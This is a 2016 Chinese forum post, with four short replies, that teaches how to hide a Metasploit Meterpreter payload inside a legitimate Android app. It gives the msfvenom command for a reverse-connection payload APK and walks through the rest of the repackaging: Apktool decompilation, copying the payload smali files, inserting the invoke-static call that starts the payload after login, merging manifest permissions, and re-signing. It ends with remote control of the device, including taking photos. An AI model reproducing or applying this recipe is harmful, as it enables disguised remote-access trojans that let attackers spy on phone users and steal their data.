首页
社区
课程
招聘
[原创]正常Android应用植入Metasploit Payload
发表于: 2016-4-27 16:44 6924

[原创]正常Android应用植入Metasploit Payload

2016-4-27 16:44
6924

正常Android应用植入Metasploit Payload
0x00 前言
Meterpreter是Metasploit中非常有名的payload,一旦在目标系统中利用成功,攻击者就可以向目标机器发送各类指令,获得敏感数据等。本文介绍如何将Meterpreter payload植入到一个正常的Android应用中。文章是在Embed a Metasploit Payload in an original .apk File的基础上进行实验的。

0x01 Meterpreter的Android版
Meterpreter针对Android系统可以生成能够安装的应用也就是APK文件,在手机上运行即可。但是这个应用有个问题,就是没有主界面,一看就不是正常应用。用户不会安装更不会使用payload应用,所以让用户直接把payload应用运行起来有些困难。

一个可行的解决方案就是把payload重打包到一个正常应用中,作为正常应用的一部分。正常应用还是跟原来一样,除了专业用户会去检查hash值之类的,一般用户不会注意到什么变化。

具体的步骤如下:

0x02 生成payload APK
首先使用MSFVenom生成一个payload应用,生成的命令如下:

msfvenom -p android/meterpreter/[Payload_Type] LHOST=[IP_Address] LPORT=[Incoming_Port] -o meterpreter.apk
[Payload_Type]指的是payload的连接类型,表明payload运行成功以后,以什么方式与控制的机器进行连接,有3种方式可以选择:
reverse_tcp
reverse_http
reverse_https
本次实验使用的是reverse_tcp。Reverse connection有关于反向连接的介绍。

[IP_Address]是payload反向连接的IP地址,也就是控制机器的IP地址。作者用的是电信的e信,本身就是个公网的IP,ipconfig如下:


[Incoming_Port]反向连接的端口,这里设置为8085。
所以完整的命令如下,最终生成了一个APK文件


0x03 反编译及修改应用
接下来就是反编译正常应用和payload应用,把payload部分的代码复制到正常应用的代码中,最后再打包形成安装包。因为用的是电信e信,所以就直接把e信的Android客户端作为正常应用。反编译用的是Apktool,具体方法见郑博士的安卓动态调试七种武器之长生剑 - Smali Instrumentation。

我们要做的就是把反编译出来的payload文件,复制到e信反编译文件中,在payload的目录smali/com/metasploit/stage中,把所有带有payload关键字的smali文件复制到e信的文件夹下。需要新建metasploit和stage两个文件夹。

接着需要在正常应用的代码里找一个启动payload的函数,插入启动payload的代码。这里找到一个e信客户端登陆成功后弹出通知的函数,这保证了与网络的连接通畅。



插入一句启动payload的调用:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
0x04 修改权限及打包
payload申请的权限可能比要植入的应用申请的权限多,所以需要把payload申请的权限复制到正常的应用的AndroidManifest.xml的文件中。上面的是原来的权限,下面是新增加的。



接下来就是打包应用,还是使用apktool。最后还需要签名,可以直接使用Java的jarsigner。

0x05 运行
把修改后的e信运行,然后在msf设置好参数,也就是IP和端口,连接的方式,exploit,就可以从目标机器中获取信息了。



可以进行拍照等:




[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 3
支持
分享
最新回复 (4)
雪    币: 144
活跃值: (178)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
非常不错,希望能后期多交流
2016-4-27 19:58
0
雪    币: 34
活跃值: (50)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
有服务端软件支持吗?还是就内网可以连接?
2016-4-27 23:28
0
雪    币: 76
活跃值: (59)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
4
要客户端连公网的话,当然需要一个连到公网的服务端。
2016-4-28 09:12
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
厉害  见识了
2016-5-5 00:42
0
游客
登录 | 注册 方可回帖
返回
//